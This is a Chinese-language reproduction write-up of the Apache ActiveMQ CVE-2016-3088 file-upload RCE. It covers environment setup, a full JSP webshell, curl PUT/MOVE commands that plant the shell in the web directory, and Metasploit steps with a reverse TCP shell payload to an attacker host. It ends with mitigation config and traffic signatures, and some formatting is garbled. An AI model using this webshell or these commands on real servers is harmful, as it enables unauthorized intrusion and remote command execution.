# ActiveMQ遠程代碼執行漏洞CVE-2016-3088復現分析
## 漏洞概述
CVE-2016-3088是Apache ActiveMQ中存在的一個嚴重安全漏洞,該漏洞允許攻擊者通過未授權訪問的Fileserver功能上傳惡意文件,進而實現遠程代碼執行(RCE)。漏洞影響版本主要為Apache ActiveMQ 5.x至5.13.0。
### 漏洞原理
ActiveMQ默認開放61616(消息代理)和8161(管理控制臺)端口。其Fileserver功能允許用戶通過HTTP PUT方法上傳文件,但未對上傳文件類型進行嚴格限制,攻擊者可上傳包含惡意代碼的JSP文件到web目錄,通過HTTP請求觸發代碼執行。
---
## 環境搭建
### 實驗環境要求
- 靶機:Kali Linux(運行ActiveMQ 5.12.1)
- 攻擊機:任意可發送HTTP請求的主機
- 工具:Burp Suite/cURL、Metasploit Framework
### 安裝步驟
1. 下載受影響版本:
```bash
wget https://archive.apache.org/dist/activemq/5.12.1/apache-activemq-5.12.1-bin.tar.gz
tar -xzvf apache-activemq-5.12.1-bin.tar.gz
cd apache-activemq-5.12.1/bin
./activemq start
http://target_ip:8161/admin
(默認賬號密碼admin/admin)檢測Fileserver是否存在:
curl -X OPTIONS http://target_ip:8161/fileserver/
# 若返回包含PUT/DELETE方法,則存在風險
上傳WebShell:
創建惡意JSP文件shell.jsp
:
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
使用PUT方法上傳:
curl -v -X PUT --data "@shell.jsp" "http://target_ip:8161/fileserver/shell.jsp"
移動文件至Web目錄:
curl -v -X MOVE --header "Destination: file:///opt/activemq/webapps/admin/shell.jsp" "http://target_ip:8161/fileserver/shell.jsp"
執行命令:
訪問http://target_ip:8161/admin/shell.jsp?cmd=whoami
查看命令回顯。
msfconsole
use exploit/multi/http/activemq_upload_jsp
set RHOSTS target_ip
set RPORT 8161
set TARGETURI /fileserver/
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST attacker_ip
exploit
官方補?。?/p>
conf/jetty.xml
中Fileserver配置)臨時緩解措施:
<!-- 在conf/jetty.xml中添加 -->
<bean class="org.eclipse.jetty.server.handler.ContextHandler">
<property name="contextPath" value="/fileserver" />
<property name="handler">
<bean class="org.eclipse.jetty.server.handler.ResourceHandler">
<property name="allowedMethods" value="GET" />
</bean>
</property>
</bean>
漏洞根源在于: 1. 權限控制缺失:Fileserver未做身份驗證 2. 文件操作濫用:MOVE方法可跨目錄移動文件 3. 沙箱繞過:JSP文件可直接在Web上下文執行
攻擊流量特征:
- HTTP PUT請求包含.jsp
擴展名
- MOVE請求的Destination頭包含webapps
路徑
”`
注:實際復現需在授權環境下進行,部分操作可能因環境差異需要調整。文中IP地址需替換為實際目標地址。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。